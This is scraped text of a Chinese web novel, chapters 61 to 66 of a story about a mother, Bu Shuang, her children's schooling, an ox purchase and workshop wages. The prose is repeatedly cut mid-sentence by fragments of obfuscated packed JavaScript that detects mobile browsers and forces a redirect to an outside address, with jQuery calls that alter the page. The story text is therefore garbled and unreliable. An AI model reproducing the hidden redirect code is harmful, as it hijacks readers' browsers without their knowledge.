“大壮，你就不能力气小一点丢吗？这下我们没得玩了。” 几个小孩子叽叽喳喳的吵起来，他们正玩的高兴，围着那漏了一半沙子的沙包，都有些泄气。 卜霜和几个妇人正说着话，注意到了孩子们这边的动静。 要是寻常大人可能就是笑笑，也不会当回事，小孩子嘛，一会儿就又能找到别的玩的。 但是卜霜是把孩子们的娱乐看的很重要的。 她听到他们说话，又看了一圈天色，心里面有了主意，于是走过去，看着几个孩子。 “要不要换一个游戏玩？” 万辽听到她的话立刻活跃起来。 这打沙包就是娘教给他们的，娘这里一定还会好多别的游戏呢。 他抱住卜霜的腿，仰头看她：“娘，你还有什么好玩的游戏，教教我们。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446554|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>卜霜笑吟吟看向其他几个孩子：“那你们想要玩吗？” 几个孩子听说还有的玩，开心的蹦起来，异口同声：“要！” “好，这次我教你们玩一个新的游戏，叫捉迷藏。” “捉迷藏，没听过。” “没听过啊。” 几个孩子挠着头，互相你看看我我看看你，都没听过这什么捉迷藏。 万絮就问：“娘，这捉迷藏咋玩呢？” 卜霜给她们讲规则。 “这是个多人游戏，你们剪刀石头布，最后输了的人就是要当捉人的那个，捉人的就站在当地面向墙壁，捂住眼睛，从一数到十，中间不能偷看。剩下的人就在这个时间内躲起来，可以躲到任何你能想到的角落，但是不能出了宅子，然后时间一到，去捉的人就喊一声我来捉人了，然后就可以睁开眼睛去捉躲起来的人了，捉人的找到躲藏的人后只要触碰对方并喊出对方的名字，被捉到的躲藏的人就被淘汰，捉到谁谁就是下一个要去捉人的人。然后回到起点等着其他躲着的人被找到，最后如果捉人的把躲着的人都捉到了，那他就获胜。” 万路若有所思：“这个听起来很好玩哎。” “而且现在这么黑，一定很好藏，白天就藏不住了。”万辽立刻发现了这个游戏的精髓所在。 万絮想了想，然后问：“也就是捉到谁，谁就要在下一轮游戏去捉人，那如果这个人把所有藏起来的人都找到了呢，那怎么分谁在下一轮捉人。” “再如果捉人的这个人捉到了几个人后，实在捉不住剩下的呢？” 卜霜笑了笑： “如果捉人的人找到了很多人，那这些被找到的人用石头剪刀布来决定下一个捉人的。” “如果捉人的找不到剩下藏起来的人，他就可以大喊一声回家了，剩下藏起来的人就赢了，可以出来回到起始点，开始下一轮的捉迷藏。” “我要玩，我要玩。”剩下的孩子们听懂了，立刻叫起来。 卜霜拍拍手： “好，那你们先石头剪刀布吧，决定出第一个捉的人。” 第62章 观澜私塾念书 孩子们几轮猜拳后，第一个捉人的是大壮。 “好，大壮闭着眼睛开始数数，剩下的人还不赶快找地方藏起来。” 孩子们兴奋的一哄而散，在院里四处跑窜，找藏身的地方。 有的孩子听着大壮的喊声，一时着急藏在了桌子下面或者直接躲在娘亲背后。 他们这藏着的样子把看热闹的妇人逗得乐呵呵的。 大壮数到十，大喊一声：“我要开始找了。” 然后就睁开眼睛，四处寻找，嘴里还发出各种怪叫。 随后妇人们就听到宅子里各个角落不时传来孩子们的各种尖叫声，叫着叫着就嘻嘻哈哈起来。 暖房宴过后，卜霜和四个小崽子们住进了新房子。 卜家作坊和芳华阁的合作稳固，卤味铺子的生意也一日好过一日。 卜霜之前的想法是冬天过了之后，初春时再让万路万絮他们四个去观澜私塾念书的，当时这个想法也是为了多赚些银子，可眼下，她们生活宽裕，每月卜记食铺和香胰子的收益很是可观，卜霜就想着可以提前让万路他们去私塾念书。 赵昭明自从有了作坊管事这份月银后也宽裕了许多，两个人商量了一会，当机立断，决定这就送孩子们去观澜私塾念书。 第二日，卜霜和赵昭明都的了很早，卜霜用食盒子装好了几样点心和一些拿手的饭菜，两家人便相约着一起坐牛车去镇上。 “万路和万絮呢，怎么没见他们？”坐在牛车上，赵昭明见牛车上并没有万路万絮就问。 “万路和万絮一大早就起来先去卜记食铺那边忙了。”卜霜道。 赵昭明看了看天色，他们现在出门已经算是很早了，万路和万絮居然已经去了镇上，那他们是多会就起了。 “咦，那岂不是天还没亮就走了。” “是啊，两个孩子说是以后他们去私塾里念了书，就没时间帮我了，食铺子以后里只有我一个人卤肉，他们怕我一个人忙不过来，所以今天早早的去食铺子里给我多干些活。” 赵昭明怀里抱着大壮，大壮起的太早，没睡醒，现在在她怀里打着盹。 赵昭明把他的头扶正了，笑着感叹道。 “真是两个孝顺孩子，这下午就要去私塾念书了，趁着这些功夫还要帮家里多做些活，不过我看万路万絮担心的也不无道理，以前你卖卤味是有四个孩子帮忙，现在他们都不在了，铺子里就你一个人忙，连做带卖的，你顾的过来吗，要我看，你铺子里再雇两个人吧。” 赵昭明说的雇两个伙计的事，卜霜之前已经想过了，她也有这个想法，但是没定好人选。 “不好选啊，作坊就在村子里，帮工们在作坊干活中午可以回去给家里做饭，但是铺子是在镇子上，中午回不去，就这一条就不好找，而且作坊里雇的帮工都是村里最能干的女人了，剩下懒馋的我又不想要。” 几个人坐着牛车一路去了卜记食铺，等他们过去，街上的商铺已经都开了门，这个时候正是做生意的好时候，赶早集的人都来了。 万路万絮早就把卜记食铺开了门，她们一行人过去后，门口很快就忙碌了起来，赵昭明和大壮就在铺子里帮着卜霜做点力所能及的活。 一直到正午，卜霜提早关了铺子，收拾了厨房，万路和万絮这才把围裙从身上脱下来，几个小孩洗了把脸，就背上卜霜给做的小书袋子，和赵昭明母子从铺子里走出来。 一行人往观澜私塾的方向去了。 观澜私塾果然很大，在镇上靠近的地方，周围很安静，只能听到私塾里一阵阵的读书声。 卜霜见了聂鸿轩说的那位连举人，听说她们是带着孩子想来念书的，连举人就先让一位书童领着五个小孩进一间屋子里进行测验。 “不要紧张，娘相信你们，你们都很聪明。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446555|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”卜霜道。 万路万絮自是不用多说，万萱万辽和大壮这些日子在万路每日的指导下对自己的学问也很有了些把握，于是万辽和万萱朝着卜霜自信的抬了抬下巴。 “娘你不要紧张，我们一定能进了私塾的，等我们的好消息吧。” 这几个小家伙，怎么是她们来安慰她了。 卜霜有些无奈。 大壮在其他四个人的带领下，也没有什么紧张的感觉，朝着赵昭明挥挥手，就大步的走了就进去。 几个人自信满满的进去了，看那样子随意的就像去邻居家串门一样。 连举人不禁有些好奇，亲自跟了进去看。 等书童把印着字的纸都发下去，让他们一个个认的时候，连举人就有些咂舌。 五个孩子竟都是认过字的。 来他这私塾的，大多基础都不好，以往来测验的孩童能把纸上的字认出来十个已经算是水平很不错的了。 而再看万路他们，那些纸上的字书童一个个指着他们竟然都能读出来，就连大壮和年纪最小的万萱都认得大半。 从这就可以看得出，这些孩子的家人应该是读过书的，平时也会教他们一些。 如此水平可以入他们观澜私塾念书。 连举人点点头，心下已经十分的满意了。 再到后来，书童问了什么，万路他们几个居然直接拿起笔来在纸上写字，一点都不带犹豫的，连举人就有些惊讶了。 房间里还有其他来测验的孩子，等他们几个人写完，连举人把纸都拿到手里看过，连胡子都有些颤抖。 万路几个人是真会写字，而且写得有模有样的，对比之下，其他几个孩子完全都是乱画。 连举人的眼睛都亮了。 等连举人走出来，卜霜一看他的神情，心下便有了底。 第63章 买牛车 “连夫子，我们家孩子测验的怎么样，能入私塾读书吗？”赵昭仪一看到连举人出来，急忙上前问道。 连举人捋了捋胡须，眼睛扫过卜霜，对她们二人笑道： “两位夫人的孩子在同年龄的孩子里是顶聪明的，尤其万路和万絮，天资很是聪颖，虽说大壮和万萱的底子有些薄弱，但是他们年纪还小，假以时日，一定也能补上去。” “老夫再多问一句，夫人们是曾经念过书吗，还是家里有什么人是读书人，我看着令公子和小姐们的基础都非常好，像是在家中学习过的样子。” 赵昭明看向卜霜，卜霜就上前两步道：“我们都不曾教过他们什么，非要说的话我家老大在村里的学堂旁听过两节课，自学了认字和算术，我们家里有一本三字经，他平日就会拿着那本书教其他几个孩子认字。” 连举人听后震惊的瞪大眼，胡须抖的更厉害了，这下他心里可不止是满意了，他简直眼睛都在放光：“哎呀，只是旁听了两节课就学会了认字和算术，如此说来，那万路这孩子的天赋可就太高了，我刚才看到他写的字，以他的水平已经完全可以去考童生了，万絮这个小姑娘学东西快，连课都没上过，水平已经完全不亚于她哥哥，其他几个孩子也都是聪明的，只是他们现在才来念书，实在是可惜，还好两位夫人有见识，没有把孩子们耽搁太久，还是送来念书了。” 赵昭明听得直着急，这连举人说了半天也没给一句话，到底是能不能上，于是她又问：“我也知道他们聪明，、他们测验怎么样，能上夫子的私塾吗？” 连举人听了哈哈直笑。 以这几个孩子的天赋，他追着收都来不及，怎么可能拒之门外呢。 毕竟没有一个当夫子的不想要亲手教出能得了功名的学生来。 他的私塾才刚开不久，就遇到了这么几个有天分的孩子。 说不定要不了多久观澜私塾里就要出秀才了。 “测验后一般是要我们几个夫子一起看过后商量的，但是我刚刚进去看了这几个孩子的水平，现在就可以告诉夫人，他们当然可以在私塾里念书，不仅如此，以后直接由我亲自来教导。”连举人道。 卜霜和赵昭明对视一眼，心里乐开了花。 等其他家长把连举人拉过去说话时，赵昭明激动的握住卜霜的手，满目感激： “大壮什么水平我知道，如果不是万路那孩子平日里的教的好，大壮哪能让连举人亲自教呢，卜妹妹，谢谢你。” “这是大壮自己用工，否则万路就是提溜着他的耳朵教，他也学不进去的，赵姐姐，你还是好好夸夸大壮吧。” 赵昭明笑着应下，喜滋滋的盯着房间等着孩子们出来。 不多时，里面的书童把纸都收上来后，参加测验的孩子们便都陆续走了出来， 五个孩子一溜烟的跑到卜霜和赵昭明身边。 他们还不知道自己已经被连举人选好了。 “测验感觉难不难啊？” 几个孩子就七嘴八舌的说起来：“很容易啊。” “我感觉好简单。” 大壮给赵昭明讲：“我们进去后，他们先是让我们认字，然后让我们默写，这些内容万路哥之前都教过我们，一点都不难。” 看他们的样子，卜霜和赵昭明便说： “连夫子说你们几个天赋不错，以后在观澜私塾念书，连夫子就是你们的老师了。” 几个孩子惊讶的对视一眼，举人要亲自收他们做学生？ 几个孩子开心的笑得都合不拢嘴，以后他们五个就可以一起上私塾了。 正说着，连举人过来了。 五个孩子连忙向连举人行礼，改口叫夫子。 连举人笑着应下，看着他们几个的目光甚为满意，卜霜和赵昭明把束脩交了，又把食盒子递给了连举人，这样就算正是入了学。 接下来，连举人就要带着孩子们去学堂上试课了。 有连举人看着，卜霜少不得要对几个孩子语重心长的教诲一番。 “万路，你是哥哥，在私塾里要照顾好弟弟妹妹们，下了学就安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446556|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全的把他们带回来，知道了吗？” 万路点点头。 再多的卜霜也说不出来了。 她和赵昭明就在孩子们依依不舍的目光下出了观澜私塾。 走出私塾，一路拐进集市，两个人便终于忍不住偷笑起来。 把五个小崽子放在私塾里，她们都感觉一身轻松。 别的父母孩子第一天上学，都会感觉有些不适应和空落落的，卜霜和赵昭明却像是解放了，没有一点不习惯，手拉着手在镇上开开心心的遛弯。 他们俩姐妹好久没有这么自由的时间了，便在集市上开心的采购起来， 没过一会儿就大包小包的买了好些东西，卜霜这才有了一点不习惯，以往买东西都有四个小崽子抢着帮着拿，如今四个小崽子不在，她拎着这些包裹，很快就觉得胳膊酸手也累。 正在这时，她看到街上路过一个人，牵着一头牛，买了什么东西就顺手把包裹放在牛身上驮着走。 看着就省事。 卜霜的目光落在那牛上，心中一动： “赵姐姐，你说以后万路和大壮他们几个每日都要到镇上念书，来来**的，总不能一直租牛车吧，多不方便，我们干脆买辆牛车吧，以后孩子们到镇上念书，或者我去铺子里卖卤味，有个自己的牛车也方便。” 赵昭明想了想，觉得她说的也有道理：“以后经常往返镇上，是该买辆牛车，以后我们在镇子上买的东西多了也好拉回村里，但是牛可不便宜，咱得钱够买吗？” 在这个时代里，牛是很贵的牲畜，武安村那么多人家家里有地，却也只有几家大户才有牛耕地。 在村里，买牛是一件大事，买一头牛的开销不亚于买房买地。 卜霜想了想。 卜记食铺的收益都用来供给万路他们读书了，上次芳华阁给的六十两银子，要留一些作为铺子和作坊的资金，那起码还能剩下三十两。 卜霜笑了：“够了。” “行，那我们就去买头牛。”赵昭明也很干脆。 第64章 要工钱 两人一路来到集市上卖牲口的地方，这里是个很大的骡马市。 卖牲口的商人一看到她们两人，就牵着手里的牲畜往前走，不停推销者自己家的牲畜：“客官看看我家的马吧，这都是经过精心挑选和训练的良驹，无论耐力还是速度，都是市场上的佼佼者。” 卜霜走到一家卖牛的摊子前，她又绕着牛看了一圈，摸了摸牛的毛发。 精力旺盛，是匹好牛：“你这牛怎么卖？” 卖牛的商人立刻回道：“客官好眼力，我家这牛可是刚成年的小公牛，你这看精神多旺盛，无论你是用来犁地，拉磨还是驮货物，都是干活的一把好手，我也不多要，五十两就卖你了。” “五十两。”赵昭明声音叫的很大，“老板你这卖的也太贵了。” 卜霜也皱眉，这牛是好，可是卖五十两也太贵了。 “老板，我看其他家卖牛，只要二十五两银子，你怎么卖这么贵？” 买牛的商人看了其他买牛的一眼，压低声音：“实不相瞒，他们那牛都是病牛，别看卖的便宜，都是干不了活了才拉出来卖的，买回去不仅干不了活还要给牛治病，我这牛可不一样，是家里养的卖的，饲料喂养大一点毛病都没有，这个价不算贵啦。” 赵昭明就看了看别家牛：“病牛，我看不出来啊，这不是有好多人都买了吗？” 卖牛的就叹气：“他们哪里懂行呢，看着便宜就卖了。” 这一天，客人们都被其他卖的低价的牛给抢走了，他这里好不容易才有人过来看牛。 赵昭明看不出来，卜霜的眼睛却尖。 她看得出来，这商人的牛的确是上等的。 卜霜转了转眼珠子：“老板，你家的牛卖的太贵了，这样吧，我们再去别处看看。” 卖牛的一听就有点急了，还要再说什么，卜霜已经拉着赵昭明走了。 卜霜拉着赵昭明故意慢吞吞的绕着骡马市走了一圈，然后又来到那头牛的面前。 老板一见她们两人终于回来了，而且还没有买牛，急忙上前热情的拉拢：“我见两位客官也逛了许久，定是诚心要买牛的，这样吧，我这头牛给你们便宜点，四十五两卖你们，怎么样？” 卜霜和赵昭明对视一眼，不说话。 商人见卜霜不应声，又道：“四十两，四十两怎么样？” 卜霜这才笑了笑，伸出三个手指头：“三十两，不能再多了。” “三十两？”那商人一脸肉痛，“你这也...” “那我们去别家看看吧。”卜霜转头就和赵昭明说道。 眼看卜霜又要走，商人一咬牙，伸手拦住二人，道：“三十两就三十两，成交。” 他刚说完，卜霜利索的就掏出钱包付银子，赵昭明在一旁笑的眼睛都看不见了。 她们牵着牛出来后。 赵昭明满脸喜色，佩服的看着卜霜：“五十两的牛，你三十两就买下了，厉害啊。” “那卖牛的也是着急了，别人家的牛出价低，客人们都被别人家抢走了，他的牛好长时间都卖不出去，我好歹出的价还是比别人家的牛高一些的，他就卖了，不然我们这个价格可买不了这么好的牛。”卜霜道。 不管怎么样，她们可是省下了二十两银子。 两人一时都很开心。 卜霜牵着大黄牛，看了它一眼：“现在，还需要买一个车架子，买好后套在牛身上就好了。” 她们就又去了卖车架子的地方，花了一两银子买好，让老板把牛车套好。 卜霜和赵昭明立即就坐在了牛车上。 别说，这牛就是好，走的稳稳当当，驮她们两人毫不费力，正省事。 她们之后又买了些东西，便赶着牛车回了村子里。 村门口里的妇人们见了她们喜滋滋的坐着牛车回来了，都笑道：“呦，卜掌柜，赵管事，怎么这么开心？” 赵昭明就和她们说了五个孩子都去镇上私塾里念书的事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446557|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这下大家都羡慕不已。 卜家之前是什么日子啊，现在一下子能供家里四个孩子上学了。 村里人谁不羡慕卜霜啊，又觉得她厉害，更加热情起来。 几个人说了几句话，卜霜就赶了牛车回了家。 主屋后院很大一块地都是养牲畜的地方，她之前让赵石头修了一个牛圈，所以直接把牛赶到那里就行。 现在她家除了兔子，还养了牛，就有两种动物了。 赵昭明又坐了一会儿，起身就要回家，卜霜出来送她，刚走到门口，就见有人在卜家外头来回走，不敢进来。 赵昭明一看：“那不是作坊里的帮工的春桃她娘吗，她来干什么？” 那妇人眼见被发现了，搓了搓手，就进来把来意和卜霜说了。 原来她是想提前领这些天做工的工钱。 “当时招人进来时就说了，工钱每月结一次，月底给，怎么现在就来要了？”赵昭明有些不开心。 卜霜推了推她：“春桃他娘刚刚不是都说了吗，咱村里有人在城里作坊里干活，干了一个月被作坊欠了工钱吗，那人回村里一说，人们也都知道了，现在人心惶惶的，都怕咱作坊也拖欠工钱。” 卜霜倒是没有什么不开心，她能想的到，这里面绝对有那些没招进来的妇人和赵婶子的搅合。 “他们作坊拖欠工钱，关咱们作坊什么事，都是一个村里的，前些天你还暖房宴请了她们过来吃饭，难道咱能赖了她们的工钱？”赵昭明还是没消气。 春桃她娘被说的脸红，急忙道：“赵管事，我是相信咱作坊和卜掌柜的为人的，只是我男人听了那人的话，说见了钱才知道靠谱不靠谱，不能家里都不管，给作坊里白做工，他说我要是要不回这些天的工钱，就不让我继续在作坊里干了，我好不容易进了咱作坊，想长久的干下去呢，怎么能说不干就不干了，这才过来和卜掌柜说了。” “卜妹妹，那咋办呢？”赵昭明听着叹了口气，就转头问卜霜。 第65章 卜记食铺请帮工 卜霜想了想。 她信妇人的话，村里的女人赚钱难，好不容易进了作坊以后可以长久的有钱拿，哪里会有人愿意不干了呢。 都是那群人搅合的。 这事可大可小，按赵昭明的想法，等一个月后作坊给帮工们都结了工钱，村里的这些质疑自然就没有了，帮工也就没了什么可担心的，只是这些天，他们心里担心作坊拖欠工钱，恐怕也干不好活。 卜霜便决定了，拿出钱袋子给赵昭明，道：“给春桃她娘算一下这几天的工钱，也让她回家有个交代。” “哎呦，卜掌柜，真是谢谢你了。” 卜掌柜这样痛快果真是个厚道人，春桃她娘更是觉得无地自容，也不好意思多待拿好工钱出去了。 房里只剩下她们两，赵昭明忍不住道：“开了这个头，恐怕明天不少帮工也要过来要工钱了。” “不如，咱也别只给一个人，明天早上就把大家伙这些天的工钱都结了吧。”卜霜和赵昭明商量道。 赵昭明惊讶：“都结了？” “对都结了，不止如此，以后作坊每周结一次工钱。” 她是这样想的，她现在手里有现银子，帮工的工钱就是每周结一次也结的起，她们结工钱结的这么快，帮工们没隔几日就能拿到钱，这样不仅村里的谣言都没了，帮工们干起活来也会更积极。 赵昭明点头：“你说的也是，那我明天就给她们把工钱都发下去。” 到了第二天，照常去卜家作坊里做工的帮工们忽然都拿到了工钱。 其实村里的传言她们也都听到了，但是她们都是厚道人，这些日子以来没少得了卜霜的帮衬，正十分苦恼要不要去和卜霜提这事，没想到卜掌柜就这么的主动把工钱给了她们。 还说以后作坊里工钱每周结一次。 女人们激动的捧着新到手的工钱，这还是她们第一次凭本事赚的现钱呢，每个人都满脸喜色。 有了实实在在的银钱到手，这下人们不仅干起活来干的更踏实了，对卜霜也是更加信任了，以后不管谁再和她们说什么，她们都不会再信了。 不多久，卜家作坊每周结一次工钱的事就传遍了武安村。 卜家作坊的帮工们从此在村里走的时候都是昂首挺胸的，一个个可神气。 谁说卜掌柜的作坊不靠谱的，他们再去哪里能找到这样工钱丰厚，给钱也痛快的掌柜的？ 这下可把村里人都羡慕坏了。 之后的几天，不断地有好多人跑来卜家和赵昭明家里送礼，问作坊里还要不要人，托关系想进卜家作坊里做工。 卜家和赵昭明家原本清清静静，这几天却热闹的像是集市。 卜霜实在受不了，只好对她们说作坊里的帮工够了，暂时不招人手了，即便这样，每天过来攀交情的人还是像流水似的没个消停。 这日卜霜卖完卤味，去作坊里绕了一圈，回家时却在门外见到了一个意料之外的女人。 是那日在河边洗衣服时见过一面的荔香。 荔香绞着衣角，浑身紧绷，看样子是下定了很大决心才过来的，卜霜就上前几步笑着把她请进了屋子里。 “你叫荔香对吧？”卜霜给她倒了一杯糖水，“上次送你的香胰子好用吗？” 卜霜招待客人都是用的糖水，赵昭明曾说，就是为了蹭她家的糖水喝，不少人也要想办法进来坐一坐。 卜霜倒是不在意，这糖她空间里多的是，又不花钱，还能得个好名声。 荔香愣了一下，村里人都说卜霜开了大作坊，每天可忙了，她本来想着贵人多忘事，没想到卜霜竟然还记得只见过一面的她，不仅如此还知道她的名字。 荔香瞬间没那么紧张了，抬起脸对她笑：“是啊，卜掌柜，你送我的香胰子很好用，我不舍得洗衣服，就用来洗脸了，洗完后身上都是香香的，我以后有钱也向你买一块。” “叫什么掌柜啊，我上次就和你说了想和你交个朋友，我们差不多大，你就叫我一声姐姐吧。”卜霜道。 荔香连忙摇头，摆正身子：“我这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446558|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来是有事和卜掌柜说，我想来你的作坊里做工。” 这个卜霜已经猜到了，只是她不理解：“之前作坊招工的时候你也听到了吧，为什么那次没过来？” 她一个姑娘，平日要照顾两个弟弟一个妹妹，还要下地干活，又要帮着家里，可以看出荔香有多能干，以荔香的勤快，只要她那时招工时过来应聘，就一定能被选入作坊里。 怎么那时没过来，现在才想进作坊做工里呢？ 提到这个，荔香有些低落：“我是听到了招工的消息了，当时就想过来，但是我爹娘不同意，他们觉得我要是去作坊里做工，大半天时间在作坊里，就不能帮家里干活了，我知道他们就是想控制我。” 剩下的她没说，她爹娘认为卜霜一个女人开的作坊却给那么多工钱，一听就不靠谱，别到时候白给人家干了活还拿不到工钱，于是把她一顿臭骂，这几天都不让她出门。 “那你现在想好了？”卜霜问。 “嗯。”荔香很肯定抬起头，“卜掌柜，我想来你这做工，多累的活计我都能干，卜掌柜你也在村里住，但是却这么有本事，我见过了你，也不想一辈子就这么呆在家里，别的我也想不出来，但是我觉得我跟着你准是没错的，这几天我一直都在说服她们，就在今日我爹娘终于同意我来作坊了。” 她爹娘之所以同意，恐怕也是听说了卜家作坊给帮工们结了工钱的事吧。 卜霜看着荔香的手，她和她差不多年纪，但是手已经糙的没法看了。 “你还答应了你爹娘什么？” 荔香没想到卜霜这么聪明，竟然一下子就猜到了，有些酸涩的说：“我，我答应他们在作坊里赚的所有工钱都交给他们。” 这黑心的爹娘，竟然一分不给荔香留。 女儿累个一天赚的钱都上交了，他们在家里坐着不动隔几天就能拿到钱，难怪他们会同意。 卜霜摇了摇头：“实话说，我的作坊里现在有二十个帮工就很多了，已经不招人了，最近也有很多人过来问我想要进去，但是我都没同意。” 第66章 山葡萄 荔香闻言有些沮丧。 “但是我还没说完，作坊里不招帮工了不代表其他地方也不招帮工。”卜霜又道，“我在镇上有个卤味铺子，之前都是我家几个孩子帮我一起干活的，这几天他们入了私塾，我一个人忙不过来，正要招两个伙计帮我做事，你要是愿意，可以去那里做工，铺子里还比作坊开的工钱更高。” 荔香眼睛忽然亮了，又惊又喜：“真的吗，我愿意，我肯定愿意去的。” 她之前被父母拦着，连镇上都没去过，她一直想去镇上看一看，如果以后能在镇上做活那也太好了。 接下来卜霜就把铺子里都要干的活和工钱什么的都和她说了一下。 听到在卜记食铺里当伙计，每月的工钱有五十文之多的时候，荔香眼睛瞪的和鸡蛋一样大，五十文，她从小到大，都没有见过这么些钱。 而这些钱居然只要再铺子里干一个月的活就能得到。 荔香道：“卜姐姐，你的工钱给的太多了，我要不了这么多的，就和作坊一样就好。” “我给这么多自然是有给这么多的理由，在食铺子里干活可不比作坊，非常劳累，又要清理一堆猪下水，又要帮着卤，早早去铺子里帮着卖，还要再收拾铺子，这些都是重活计，自然值这个工钱。” “而且铺子和作坊不一样，我只准备招两个伙计，这么些活要两个人干，可不是就要给的比作坊里多吗？给你你拿着就行了。” 可从来也没听过别家食铺子开这个工钱的。 荔香有些感动，她有些猜出卜霜可能是想要帮她。 “不用请两个人伙计，这些活我一个人就能做。” “哦？你一个人就可以？” “真的，我刚刚已经知道我要做什么了，这些活是不轻松，但是比我在家里干的活可是少多了，卜掌柜，你不用再招别人了，我一个人就都能给你都做好。”荔香拍了拍胸脯。 她多干些，卜掌柜就能少请一个人，少请一个就能省下五十文钱。 卜掌柜人那么好，她也想帮卜掌柜多做些什么。 卜霜见她如此肯定，就也笑道：“那这样，明天你先去铺子里干着，如果你一个人真的可以，那我就把另一个人工钱也加给你，一月一百钱。” 荔香刚要拒绝，就见卜霜特意压低声音在她耳边道。 “你只回去和你爹娘说你每月五十文工钱，剩下的五十文不要让他们知道，你自己藏着。” 荔香心中微微一动，看着卜霜，一时间不知道说什么好。 她竟然会碰上卜掌柜这么好的人。 想着想着，荔香不由的笑了起来：“我一定会好好干的。” 万路和万絮几个自从入了私塾，每日大半日都在私塾念书，以往他们还能帮家里干活，可自从念书后，他们就没有时间了，几个小崽子也都懂事，觉得卜霜辛苦，回家后也不去玩，他们便抢着帮卜霜干活。 卜霜自然是不要他们干活，干脆把他们都赶出去，让他们在闲暇时光里多玩一会儿。 万路他们四个叫上大壮不知道去哪里野了，回来时手里提溜了一大袋他们采的兔儿草，衣服里也不知道兜着什么。 几个孩子嘻嘻哈哈的跑去后院喂兔子。 卜霜就跟了上去，果然没一会儿就听到后院里传来孩子们惊喜的大叫声。 “呀，哪来的牛，娘买牛了？”万辽喊着。 之前牛车被借去送货，所以这还是四个小崽子第一次看到家里的牛。 卜霜便走过去：“对啊，还买了车架子，你们明天就能坐牛车去镇子上念书了。” 四个小崽子一听别提有多开心了，围着牛又看又摸的。 万萱一边摸摸，兴奋道：“小牛，小牛，它好乖啊。” “别光看啊，你们明天就要自己赶牛车了去私塾了，不要上来学学怎么赶车吗？谁要第一个学？” 万路立刻举起手。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446559|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 卜霜就将车套在牛上，把疆绳递给万路，一边看他骑一边指挥。 “疆绳往左牵，别走歪了。” “大哥你快下来，让我也试试。”万路还没坐多久，万辽已经等不及了，在下面跃跃欲试。 卜霜就笑他：“刚刚怎么不见你举手呢？” 万辽嘿嘿笑：“这牛太高了，我不敢上去，但是大哥坐上去了，我看着也就不怕了。” “你是第三个，下一个是万絮。” 万路停了下来下车后，万絮就上去了。 她还是第一次赶牛车。 万絮摸了摸牛，小牛的鼻息打在她的手上，这感觉也太新奇了。 卜霜笑着看她，一转眼看到万萱手里捧着一堆紫颜色的东西往嘴里塞，好奇道：“万萱你们吃啥呢？” “娘，这是我们在山脚下摘的果子，酸酸甜甜的，你吃。”万萱捧着手里的果子小跑过来，趴在卜霜胳膊上给她。 卜霜一看她手里掐着的紫色的果子，一眼便认了出来。 “这不是葡萄吗？” “葡萄，葡萄是什么啊？”万萱大眼睛忽闪忽闪地看着卜霜。 万絮听后却是脸色一变，差点没从牛车上掉下来：“娘说的不会是山葡萄吧，那山葡萄不能吃的，怎么办，我们都吃了。” 